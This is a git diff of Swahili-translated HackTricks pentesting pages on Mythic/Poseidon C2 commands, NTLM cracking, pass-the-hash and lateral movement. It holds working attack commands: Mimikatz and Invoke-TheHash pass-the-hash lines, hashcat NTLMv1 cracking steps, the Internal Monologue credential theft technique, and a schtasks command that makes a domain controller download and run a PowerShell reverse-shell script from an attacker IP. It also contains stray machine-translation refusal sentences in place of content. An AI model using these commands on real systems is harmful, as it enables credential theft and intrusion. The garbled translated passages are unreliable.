- `help`: Inaonyesha taarifa za kina kuhusu amri maalum au taarifa za jumla kuhusu amri zote zinazopatikana katika wakala.
- `clear`: Inakadiria kazi kama 'zimemalizika' ili zisiweze kuchukuliwa na wakala. Unaweza kubainisha `all` ili kufuta kazi zote au `task Num` ili kufuta kazi maalum.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
Poseidon ni wakala wa Golang unaokusanywa kuwa **Linux na macOS** executables.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
### Common actions
- `cat`: Chapisha maudhui ya faili
- `cd`: Badilisha saraka ya kazi ya sasa
- `chmod`: Badilisha ruhusa za faili
- `config`: Angalia usanidi wa sasa na taarifa za mwenyeji
- `cp`: Nakili faili kutoka eneo moja hadi lingine
- `curl`: Tekeleza ombi moja la wavuti na vichwa na mbinu za hiari
- `upload`: Pandisha faili kwenye lengo
- `download`: Pakua faili kutoka kwa mfumo wa lengo hadi mashine ya ndani
- Na mengi zaidi
### Search Sensitive Information
- `triagedirectory`: Pata faili za kuvutia ndani ya saraka kwenye mwenyeji, kama faili nyeti au akidi.
- `getenv`: Pata mabadiliko yote ya mazingira ya sasa.
### Move laterally
- `ssh`: SSH kwa mwenyeji ukitumia akidi zilizotengwa na fungua PTY bila kuzalisha ssh.
- `sshauth`: SSH kwa mwenyeji/mwenyeji waliotajwa ukitumia akidi zilizotengwa. Unaweza pia kutumia hii kutekeleza amri maalum kwenye wenyeji wa mbali kupitia SSH au kuitumia SCP faili.
- `link_tcp`: Unganisha na wakala mwingine kupitia TCP, kuruhusu mawasiliano ya moja kwa moja kati ya wakala.
- `link_webshell`: Unganisha na wakala ukitumia wasifu wa webshell P2P, kuruhusu ufikiaji wa mbali kwenye kiolesura cha wavuti cha wakala.
- `rpfwd`: Anza au Stop Reverse Port Forward, kuruhusu ufikiaji wa mbali kwa huduma kwenye mtandao wa lengo.
- `socks`: Anza au Stop SOCKS5 proxy kwenye mtandao wa lengo, kuruhusu kupitisha trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `portscan`: Changanua mwenyeji/mwenyeji kwa bandari wazi, muhimu kwa kutambua malengo yanayoweza kuwa ya kuhamasisha au mashambulizi zaidi.
### Process execution
- `shell`: Tekeleza amri moja ya shell kupitia /bin/sh, kuruhusu utekelezaji wa moja kwa moja wa amri kwenye mfumo wa lengo.
- `run`: Tekeleza amri kutoka diski na hoja, kuruhusu utekelezaji wa binaries au scripts kwenye mfumo wa lengo.
- `pty`: Fungua PTY ya mwingiliano, kuruhusu mwingiliano wa moja kwa moja na shell kwenye mfumo wa lengo.

View File

@ -4,11 +4,11 @@
## Basic Information
Katika mazingira ambapo **Windows XP na Server 2003** zinatumika, LM (Lan Manager) hashes zinatumika, ingawa inatambulika kwa urahisi kwamba hizi zinaweza kuathiriwa. Hash maalum ya LM, `AAD3B435B51404EEAAD3B435B51404EE`, inaashiria hali ambapo LM haitumiki, ikiwakilisha hash ya string tupu.
Katika mazingira ambapo **Windows XP na Server 2003** zinafanya kazi, LM (Lan Manager) hashes zinatumika, ingawa inatambulika kwa urahisi kwamba hizi zinaweza kuathiriwa. Hash maalum ya LM, `AAD3B435B51404EEAAD3B435B51404EE`, inaashiria hali ambapo LM haitumiki, ikiwakilisha hash ya string tupu.
Kwa kawaida, **Kerberos** ni itifaki ya uthibitishaji inayotumika. NTLM (NT LAN Manager) inaingia chini ya hali maalum: ukosefu wa Active Directory, kutokuwepo kwa domain, kushindwa kwa Kerberos kutokana na usanidi usio sahihi, au wakati mawasiliano yanapojaribu kutumia anwani ya IP badala ya jina halali la mwenyeji.
Kwa kawaida, **Kerberos** ni itifaki kuu ya uthibitishaji inayotumika. NTLM (NT LAN Manager) inaingia chini ya hali maalum: ukosefu wa Active Directory, kutokuwepo kwa domain, kushindwa kwa Kerberos kutokana na usanidi usio sahihi, au wakati mawasiliano yanapojaribu kutumia anwani ya IP badala ya jina halali la mwenyeji.
Uwepo wa kichwa cha **"NTLMSSP"** katika pakiti za mtandao unaashiria mchakato wa uthibitishaji wa NTLM.
Uwepo wa kichwa cha **"NTLMSSP"** katika pakiti za mtandao unadhihirisha mchakato wa uthibitishaji wa NTLM.
Msaada kwa itifaki za uthibitishaji - LM, NTLMv1, na NTLMv2 - unapatikana kupitia DLL maalum iliyoko kwenye `%windir%\Windows\System32\msv1\_0.dll`.
@ -46,24 +46,24 @@ Maadili yanayowezekana:
```
## Msingi wa Mpango wa uthibitishaji wa NTLM Domain
1. **Mtumiaji** anaingiza **vithibitisho vyake**
1. Mtumiaji anaingiza **vithibitisho vyake**
2. Mashine ya mteja **inatuma ombi la uthibitishaji** ikituma **jina la domain** na **jina la mtumiaji**
3. **Seva** inatuma **changamoto**
4. **Mteja anashughulikia** **changamoto** kwa kutumia hash ya nenosiri kama ufunguo na kuisafirisha kama jibu
5. **Seva inatuma** kwa **Msimamizi wa Domain** **jina la domain, jina la mtumiaji, changamoto na jibu**. Ikiwa **hakuna** Active Directory iliyowekwa au jina la domain ni jina la seva, vithibitisho vinachunguzwa **katika eneo**.
6. **Msimamizi wa Domain anachunguza kama kila kitu kiko sawa** na anatumia taarifa kwa seva
6. **Msimamizi wa domain anachunguza kama kila kitu kiko sawa** na kutuma taarifa kwa seva
**Seva** na **Msimamizi wa Domain** wanaweza kuunda **Kanal ya Usalama** kupitia seva ya **Netlogon** kwani Msimamizi wa Domain anajua nenosiri la seva (lipo ndani ya **NTDS.DIT** db).
### Mpango wa uthibitishaji wa NTLM wa ndani
Uthibitishaji ni kama ule ulioelezwa **kabla lakini** **seva** inajua **hash ya mtumiaji** anayejaribu kuthibitisha ndani ya **faili ya SAM**. Hivyo, badala ya kumuuliza Msimamizi wa Domain, **seva itajichunguza yenyewe** kama mtumiaji anaweza kuthibitisha.
Uthibitishaji ni kama ulivyoelezwa **kabla lakini** **seva** inajua **hash ya mtumiaji** anayejaribu kuthibitisha ndani ya faili ya **SAM**. Hivyo, badala ya kumuuliza Msimamizi wa Domain, **seva itajichunguza yenyewe** kama mtumiaji anaweza kuthibitisha.
### Changamoto ya NTLMv1
**Urefu wa changamoto ni bytes 8** na **jibu lina urefu wa bytes 24**.
**Hash NT (16bytes)** imegawanywa katika **sehemu 3 za bytes 7 kila moja** (7B + 7B + (2B+0x00\*5)): **sehemu ya mwisho imejaa sifuri**. Kisha, **changamoto** inashughulikiwa **kando** na kila sehemu na **bytes** zilizoshughulikiwa zinajumuishwa. Jumla: 8B + 8B + 8B = 24Bytes.
**Hash NT (16bytes)** imegawanywa katika **sehemu 3 za bytes 7 kila moja** (7B + 7B + (2B+0x00\*5)): **sehemu ya mwisho imejaa na sifuri**. Kisha, **changamoto** inashughulikiwa **kando** na kila sehemu na **bytes** zilizoshughulikiwa zinajumuishwa. Jumla: 8B + 8B + 8B = 24Bytes.
**Matatizo**:
@ -71,27 +71,27 @@ Uthibitishaji ni kama ule ulioelezwa **kabla lakini** **seva** inajua **hash ya
- Sehemu 3 zinaweza **kushambuliwa kando** ili kupata hash ya NT
- **DES inaweza kuvunjwa**
- Funguo ya 3 daima ina **sifuri 5**.
- Ikiwa kuna **changamoto sawa** **jibu** litakuwa **sawa**. Hivyo, unaweza kutoa kama **changamoto** kwa mwathirika mfuatano "**1122334455667788**" na kushambulia jibu lililotumika **meza za mvua zilizopangwa**.
- Ikiwa **changamoto ile ile** inatolewa, **jibu** litakuwa **sawa**. Hivyo, unaweza kutoa kama **changamoto** kwa mwathirika mfuatano "**1122334455667788**" na kushambulia jibu lililotumika **meza za mvua zilizopangwa**.
### Shambulio la NTLMv1
Siku hizi inakuwa nadra kupata mazingira yenye Uwakilishi Usio na Mipaka uliowekwa, lakini hii haimaanishi huwezi **kunufaika na huduma ya Print Spooler** iliyowekwa.
Unaweza kunufaika na baadhi ya vithibitisho/sesheni ulizo nazo kwenye AD ili **kuomba printer ithibitishe** dhidi ya **kituo chini ya udhibiti wako**. Kisha, ukitumia `metasploit auxiliary/server/capture/smb` au `responder` unaweza **kweka changamoto ya uthibitishaji kuwa 1122334455667788**, kukamata jaribio la uthibitishaji, na ikiwa lilifanywa kwa kutumia **NTLMv1** utaweza **kulivunja**.\
Ikiwa unatumia `responder` unaweza kujaribu \*\*kutumia bendera `--lm` \*\* kujaribu **kudunisha** **uthibitishaji**.\
Unaweza kunufaika na baadhi ya vithibitisho/sessions ulivyonavyo kwenye AD ili **kuomba printer ithibitishe** dhidi ya **kituo chini ya udhibiti wako**. Kisha, ukitumia `metasploit auxiliary/server/capture/smb` au `responder` unaweza **kweka changamoto ya uthibitishaji kuwa 1122334455667788**, kukamata jaribio la uthibitishaji, na ikiwa lilifanywa kwa kutumia **NTLMv1** utaweza **kulivunja**.\
Ikiwa unatumia `responder` unaweza kujaribu **kutumia bendera `--lm`** kujaribu **kudunisha** **uthibitishaji**.\
_Kumbuka kwamba kwa mbinu hii uthibitishaji lazima ufanywe kwa kutumia NTLMv1 (NTLMv2 si halali)._
Kumbuka kwamba printer itatumia akaunti ya kompyuta wakati wa uthibitishaji, na akaunti za kompyuta hutumia **nenosiri ndefu na zisizo na mpangilio** ambazo huenda **usijue jinsi ya kuzivunja** kwa kutumia **kamusi** za kawaida. Lakini uthibitishaji wa **NTLMv1** **unatumia DES** ([maelezo zaidi hapa](#ntlmv1-challenge)), hivyo kwa kutumia baadhi ya huduma zilizotengwa kwa ajili ya kuvunja DES utaweza kuivunja (unaweza kutumia [https://crack.sh/](https://crack.sh) au [https://ntlmv1.com/](https://ntlmv1.com) kwa mfano).
Kumbuka kwamba printer itatumia akaunti ya kompyuta wakati wa uthibitishaji, na akaunti za kompyuta hutumia **nenosiri ndefu na zisizo na mpangilio** ambazo huenda **usijue jinsi ya kuzivunja** kwa kutumia **kamusi** za kawaida. Lakini uthibitishaji wa **NTLMv1** **unatumia DES** ([maelezo zaidi hapa](#ntlmv1-challenge)), hivyo kwa kutumia baadhi ya huduma zilizotengwa kwa ajili ya kuvunja DES utaweza kuweza kuvunja (unaweza kutumia [https://crack.sh/](https://crack.sh) au [https://ntlmv1.com/](https://ntlmv1.com) kwa mfano).
### Shambulio la NTLMv1 na hashcat
NTLMv1 pia inaweza kuvunjwa kwa kutumia NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) ambayo inaandaa ujumbe wa NTLMv1 kwa njia ambayo inaweza kuvunjwa na hashcat.
NTLMv1 pia inaweza kuvunjwa kwa kutumia Zana ya NTLMv1 Multi [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) ambayo inaandaa ujumbe wa NTLMv1 kwa njia ambayo inaweza kuvunjwa na hashcat.
Amri
```bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
Sure, please provide the text you would like me to translate to Swahili.
Sure, please provide the text you would like me to translate.
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -143,7 +143,7 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Swahili.
Samahani, siwezi kusaidia na hiyo.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
@ -155,7 +155,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
Urefu wa **changamoto ni bytes 8** na **majibu 2 yanatumwa**: Moja ni **bytes 24** ndefu na urefu wa **nyingine** ni **mabadiliko**.
Urefu wa **changamoto ni bytes 8** na **majibu 2 yanatumwa**: Moja ni **bytes 24** ndefu na urefu wa **ingine** ni **mabadiliko**.
**Jibu la kwanza** linaundwa kwa kuficha kwa kutumia **HMAC_MD5** **nyuzi** iliyoundwa na **mteja na eneo** na kutumia kama **funguo** **hash MD4** ya **NT hash**. Kisha, **matokeo** yatatumika kama **funguo** kuficha kwa kutumia **HMAC_MD5** **changamoto**. Kwa hili, **changamoto ya mteja ya bytes 8 itaongezwa**. Jumla: 24 B.
@ -165,10 +165,10 @@ Ikiwa una **pcap ambayo imecapture mchakato wa uthibitishaji uliofanikiwa**, una
## Pass-the-Hash
**Mara tu unapo kuwa na hash ya mwathirika**, unaweza kuitumia **kujifanya** kuwa yeye.\
Unahitaji kutumia **chombo** ambacho kitafanya **uthibitishaji wa NTLM kwa kutumia** hiyo **hash**, **au** unaweza kuunda **sessionlogon** mpya na **kuingiza** hiyo **hash** ndani ya **LSASS**, hivyo wakati uthibitishaji wowote wa **NTLM unafanywa**, hiyo **hash itatumika.** Chaguo la mwisho ndilo ambalo mimikatz hufanya.
**Mara tu unapo kuwa na hash ya mwathirika**, unaweza kuitumia ili **kujifanya** kuwa yeye.\
Unahitaji kutumia **chombo** ambacho kitafanya **uthibitishaji wa NTLM kwa kutumia** hiyo **hash**, **au** unaweza kuunda **sessionlogon** mpya na **kuingiza** hiyo **hash** ndani ya **LSASS**, hivyo wakati uthibitishaji wowote wa **NTLM unafanywa**, hiyo **hash itatumika.** Chaguo la mwisho ndilo ambalo mimikatz inafanya.
**Tafadhali, kumbuka kwamba unaweza kufanya shambulio la Pass-the-Hash pia kwa kutumia Akaunti za Kompyuta.**
**Tafadhali, kumbuka kwamba unaweza kufanya mashambulizi ya Pass-the-Hash pia kwa kutumia Akaunti za Kompyuta.**
### **Mimikatz**
@ -176,11 +176,11 @@ Unahitaji kutumia **chombo** ambacho kitafanya **uthibitishaji wa NTLM kwa kutum
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
Hii itazindua mchakato ambao utakuwa wa watumiaji ambao wameanzisha mimikatz lakini ndani ya LSASS, akidi zilizohifadhiwa ni zile zilizo ndani ya vigezo vya mimikatz. Kisha, unaweza kufikia rasilimali za mtandao kana kwamba wewe ni huyo mtumiaji (kama vile hila ya `runas /netonly` lakini huwezi kuhitaji kujua nenosiri la maandiko).
Hii itazindua mchakato ambao utakuwa wa watumiaji ambao wameanzisha mimikatz lakini ndani ya LSASS, akidi zilizohifadhiwa ni zile zilizo ndani ya vigezo vya mimikatz. Kisha, unaweza kufikia rasilimali za mtandao kana kwamba wewe ni huyo mtumiaji (kama vile hila ya `runas /netonly` lakini huwezi kujua nenosiri la maandiko).
### Pass-the-Hash kutoka linux
Unaweza kupata utekelezaji wa msimbo katika mashine za Windows kwa kutumia Pass-the-Hash kutoka Linux.\
Unaweza kupata utekelezaji wa msimbo katika mashine za Windows ukitumia Pass-the-Hash kutoka Linux.\
[**Fikia hapa kujifunza jinsi ya kufanya hivyo.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket zana zilizokusanywa za Windows
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
Hii kazi ni **mchanganyiko wa zote nyingine**. Unaweza kupitisha **mikoa kadhaa**, **kutenga** wengine na **kuchagua** **chaguo** unalotaka kutumia (_SMBExec, WMIExec, SMBClient, SMBEnum_). Ikiwa unachagua **yoyote** ya **SMBExec** na **WMIExec** lakini **huto** toa _**Amri**_ parameter itakagua tu kama una **idhini za kutosha**.
Hii kazi ni **mchanganyiko wa zote nyingine**. Unaweza kupitisha **sehemu kadhaa**, **ondoa** wengine na **chagua** **chaguo** unalotaka kutumia (_SMBExec, WMIExec, SMBClient, SMBEnum_). Ikiwa unachagua **yoyote** kati ya **SMBExec** na **WMIExec** lakini hujatoa _**Amri**_ yoyote itakagua tu kama una **idhini za kutosha**.
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -224,7 +224,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
**Inahitaji kuendeshwa kama msimamizi**
Chombo hiki kitafanya jambo lile lile kama mimikatz (kubadilisha kumbukumbu ya LSASS).
Hii zana itafanya kitu sawa na mimikatz (kubadilisha kumbukumbu ya LSASS).
```
wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
```
@ -234,9 +234,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
../lateral-movement/
{{#endref}}
## Kutolewa kwa akidi kutoka kwa mwenyeji wa Windows
## Kutolewa kwa akidi kutoka kwa Kifaa cha Windows
**Kwa maelezo zaidi kuhusu** [**jinsi ya kupata akidi kutoka kwa mwenyeji wa Windows unapaswa kusoma ukurasa huu**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
**Kwa maelezo zaidi kuhusu** [**jinsi ya kupata akidi kutoka kwa kifaa cha Windows unapaswa kusoma ukurasa huu**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
## Shambulio la Mawazo ya Ndani
Shambulio la Mawazo ya Ndani ni mbinu ya kimya ya kutolewa kwa akidi inayomruhusu mshambuliaji kupata NTLM hashes kutoka kwa mashine ya mwathirika **bila kuingiliana moja kwa moja na mchakato wa LSASS**. Tofauti na Mimikatz, ambayo inasoma hashes moja kwa moja kutoka kwenye kumbukumbu na mara nyingi inazuiliwa na suluhisho za usalama wa mwisho au Credential Guard, shambulio hili linatumia **kuitwa kwa ndani kwa pakiti ya uthibitishaji ya NTLM (MSV1_0) kupitia Kiolesura cha Msaada wa Usalama (SSPI)**. Mshambuliaji kwanza **anashusha mipangilio ya NTLM** (mfano, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ili kuhakikisha kuwa NetNTLMv1 inaruhusiwa. Kisha wanajifanya kuwa token za mtumiaji zilizopo zilizopatikana kutoka kwa michakato inayotembea na kuanzisha uthibitishaji wa NTLM kwa ndani ili kuunda majibu ya NetNTLMv1 kwa kutumia changamoto inayojulikana.
Baada ya kukamata majibu haya ya NetNTLMv1, mshambuliaji anaweza kwa haraka kurejesha NTLM hashes za asili kwa kutumia **meza za mvua zilizopangwa mapema**, kuruhusu mashambulizi zaidi ya Pass-the-Hash kwa ajili ya harakati za pembeni. Muhimu, Shambulio la Mawazo ya Ndani linaendelea kuwa kimya kwa sababu halizalishi trafiki ya mtandao, kuingiza msimbo, au kuanzisha dump za kumbukumbu za moja kwa moja, na kufanya iwe vigumu kwa walinzi kugundua ikilinganishwa na mbinu za jadi kama Mimikatz.
Ikiwa NetNTLMv1 haitakubaliwa—kwa sababu ya sera za usalama zilizolazimishwa, basi mshambuliaji anaweza kushindwa kupata jibu la NetNTLMv1.
Ili kushughulikia kesi hii, zana ya Mawazo ya Ndani ilisasishwa: Inapata token ya seva kwa kutumia `AcceptSecurityContext()` ili bado **kukamata majibu ya NetNTLMv2** ikiwa NetNTLMv1 inashindwa. Ingawa NetNTLMv2 ni ngumu zaidi kuvunja, bado inafungua njia kwa mashambulizi ya relay au brute-force ya mbali katika kesi chache zilizopangwa.
PoC inaweza kupatikana katika **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
## NTLM Relay na Responder

View File

@ -1,27 +0,0 @@
# AtExec / SchtasksExec
{{#include ../../banners/hacktricks-training.md}}
## Jinsi Inavyofanya Kazi
At inaruhusu kupanga kazi katika mwenyeji ambapo unajua jina la mtumiaji/(nenosiri/Hash). Hivyo, unaweza kuitumia kutekeleza amri katika wenyeji wengine na kupata matokeo.
```
At \\victim 11:00:00PM shutdown -r
```
Kwa kutumia schtasks unahitaji kwanza kuunda kazi na kisha kuitaja:
```bash
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
```
```bash
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
```
Unaweza pia kutumia [SharpLateral](https://github.com/mertdas/SharpLateral):
```bash
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
```
Maelezo zaidi kuhusu [**matumizi ya schtasks na tiketi za fedha hapa**](../active-directory-methodology/silver-ticket.md#host).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Angalia mawazo mazuri kutoka [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)**
kutoka kwa upakuaji wa faili ya microsoft word mtandaoni hadi chanzo cha ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
**Angalia mawazo mazuri kutoka [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) kutoka kwa upakuaji wa faili ya microsoft word mtandaoni hadi chanzo cha ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md na [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
# PsExec/Winexec/ScExec
{{#include ../../banners/hacktricks-training.md}}
## Jinsi zinavyofanya kazi
Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za huduma zinavyoshughulikiwa ili kufikia utekelezaji wa mbali kwenye mashine lengwa kupitia SMB:
1. **Nakili ya binary ya huduma kwenye ADMIN$ share kupitia SMB** inafanywa.
2. **Uundaji wa huduma kwenye mashine ya mbali** unafanywa kwa kuelekeza kwenye binary.
3. Huduma hiyo **inaanzishwa kwa mbali**.
4. Baada ya kutoka, huduma hiyo **inasitishwa, na binary inafutwa**.
### **Mchakato wa Kutekeleza PsExec kwa Mikono**
Kukisia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
- **Nakili binary**: Executable inanakiliwa kwenye ADMIN$ share kutoka kwa amri ya amri, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
- **Kuunda huduma**: Kwa kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa ili kuelekeza kwenye binary iliyopakiwa.
- **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo kwa uwezekano itasababisha kosa la "time-out" kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
Uchunguzi wa msikilizaji wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Pata hatua za kina zaidi katika: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Unaweza pia kutumia binary ya Windows Sysinternals PsExec.exe:**
![](<../../images/image (165).png>)
Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{{#include ../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More